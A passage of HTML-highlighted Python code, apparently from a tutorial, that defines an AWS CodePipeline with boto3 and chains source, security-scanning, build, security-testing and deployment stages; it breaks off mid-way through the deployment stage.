</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">import</span> <span class="n">json</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span><span class="p">,</span> <span class="n">Optional</span>

<span class="k">class</span> <span class="nc">SecureDevSecOpsPipeline</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">codepipeline</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">codepipeline</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">codebuild</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">codebuild</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">codecommit</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">codecommit</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">ecr</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">ecr</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">security_hub</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">securityhub</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">inspector</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">inspector2</span><span class="sh">'</span><span class="p">)</span>
        
    <span class="k">def</span> <span class="nf">create_secure_pipeline</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">pipeline_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">repo_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create a comprehensive DevSecOps pipeline with security gates</span><span class="sh">"""</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Create the pipeline structure
</span>            <span class="n">pipeline_definition</span> <span class="o">=</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="n">pipeline_name</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">roleArn</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">arn:aws:iam::</span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="nf">get_account_id</span><span class="p">()</span><span class="si">}</span><span class="s">:role/CodePipelineRole</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">artifactStore</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">S3</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">location</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">pipeline_name</span><span class="si">}</span><span class="s">-artifacts-</span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="nf">get_account_id</span><span class="p">()</span><span class="si">}</span><span class="sh">'</span>
                <span class="p">},</span>
                <span class="sh">'</span><span class="s">stages</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="n">self</span><span class="p">.</span><span class="nf">create_source_stage</span><span class="p">(</span><span class="n">repo_name</span><span class="p">),</span>
                    <span class="n">self</span><span class="p">.</span><span class="nf">create_security_analysis_stage</span><span class="p">(),</span>
                    <span class="n">self</span><span class="p">.</span><span class="nf">create_build_stage</span><span class="p">(),</span>
                    <span class="n">self</span><span class="p">.</span><span class="nf">create_security_testing_stage</span><span class="p">(),</span>
                    <span class="n">self</span><span class="p">.</span><span class="nf">create_deployment_stage</span><span class="p">()</span>
                <span class="p">]</span>
            <span class="p">}</span>
            
            <span class="c1"># Create the pipeline
</span>            <span class="n">response</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">codepipeline</span><span class="p">.</span><span class="nf">create_pipeline</span><span class="p">(</span><span class="n">pipeline</span><span class="o">=</span><span class="n">pipeline_definition</span><span class="p">)</span>
            
            <span class="c1"># Setup security scanning projects
</span>            <span class="n">self</span><span class="p">.</span><span class="nf">setup_security_scanning_projects</span><span class="p">(</span><span class="n">pipeline_name</span><span class="p">)</span>
            
            <span class="c1"># Configure security notifications
</span>            <span class="n">self</span><span class="p">.</span><span class="nf">setup_security_notifications</span><span class="p">(</span><span class="n">pipeline_name</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">pipeline_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">pipeline_name</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">pipeline_arn</span><span class="sh">'</span><span class="p">:</span> <span class="n">response</span><span class="p">[</span><span class="sh">'</span><span class="s">pipeline</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">metadata</span><span class="sh">'</span><span class="p">][</span><span class="sh">'</span><span class="s">pipelineArn</span><span class="sh">'</span><span class="p">],</span>
                <span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">created</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">security_features</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                    <span class="sh">'</span><span class="s">SAST scanning</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">DAST testing</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Dependency scanning</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Container scanning</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Infrastructure scanning</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">Compliance validation</span><span class="sh">'</span>
                <span class="p">]</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="k">return</span> <span class="p">{</span><span class="sh">'</span><span class="s">status</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">failed</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">error</span><span class="sh">'</span><span class="p">:</span> <span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)}</span>
    
    <span class="k">def</span> <span class="nf">create_source_stage</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">repo_name</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create source stage with security validation</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Source</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">actions</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SourceAction</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">actionTypeId</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Source</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CodeCommit</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">configuration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">RepositoryName</span><span class="sh">'</span><span class="p">:</span> <span class="n">repo_name</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">BranchName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">main</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">PollForSourceChanges</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">false</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">outputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SourceOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">]</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">create_security_analysis_stage</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create comprehensive security analysis stage</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SecurityAnalysis</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">actions</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SecretScanning</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">actionTypeId</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Build</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CodeBuild</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">configuration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">ProjectName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">secret-scanning-project</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">inputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SourceOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">outputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SecretScanOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">runOrder</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">DependencyScanning</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">actionTypeId</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Build</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CodeBuild</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">configuration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">ProjectName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">dependency-scanning-project</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">inputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SourceOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">outputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">DependencyScanOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">runOrder</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SASTAnalysis</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">actionTypeId</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Build</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CodeBuild</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">configuration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">ProjectName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">sast-analysis-project</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">inputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SourceOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">outputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SASTOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">runOrder</span><span class="sh">'</span><span class="p">:</span> <span class="mi">2</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">create_build_stage</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create build stage with container security scanning</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Build</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">actions</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">BuildApplication</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">actionTypeId</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Build</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CodeBuild</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">configuration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">ProjectName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">secure-build-project</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">inputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SourceOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">outputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">BuildOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">runOrder</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ContainerScanning</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">actionTypeId</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Build</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CodeBuild</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">configuration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">ProjectName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">container-scanning-project</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">inputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">BuildOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">outputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ContainerScanOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">runOrder</span><span class="sh">'</span><span class="p">:</span> <span class="mi">2</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">create_security_testing_stage</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create security testing stage with DAST and infrastructure scanning</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SecurityTesting</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">actions</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">DASTTesting</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">actionTypeId</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Build</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CodeBuild</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">configuration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">ProjectName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">dast-testing-project</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">inputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">BuildOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">outputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">DASTOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">runOrder</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">InfrastructureScanning</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">actionTypeId</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Build</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CodeBuild</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">configuration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">ProjectName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">infrastructure-scanning-project</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">inputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">BuildOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">outputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">InfraScanOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">runOrder</span><span class="sh">'</span><span class="p">:</span> <span class="mi">1</span>
                <span class="p">},</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ComplianceValidation</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">actionTypeId</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Build</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CodeBuild</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">version</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">1</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">configuration</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">ProjectName</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">compliance-validation-project</span><span class="sh">'</span>
                    <span class="p">},</span>
                    <span class="sh">'</span><span class="s">inputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">BuildOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">outputArtifacts</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                        <span class="p">{</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">ComplianceOutput</span><span class="sh">'</span><span class="p">}</span>
                    <span class="p">],</span>
                    <span class="sh">'</span><span class="s">runOrder</span><span class="sh">'</span><span class="p">:</span> <span class="mi">2</span>
                <span class="p">}</span>
            <span class="p">]</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">create_deployment_stage</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Create secure deployment stage with runtime monitoring</span><span class="sh">"""</span>
        
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Deploy</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">actions</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span>
                <span class="p">{</span>
                    <span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">DeployToStaging</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">actionTypeId</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                        <span class="sh">'</span><span class="s">category</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Deploy</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">owner</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AWS</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">CloudFormation</span><span class="sh">'</span><span class="p">,</span>
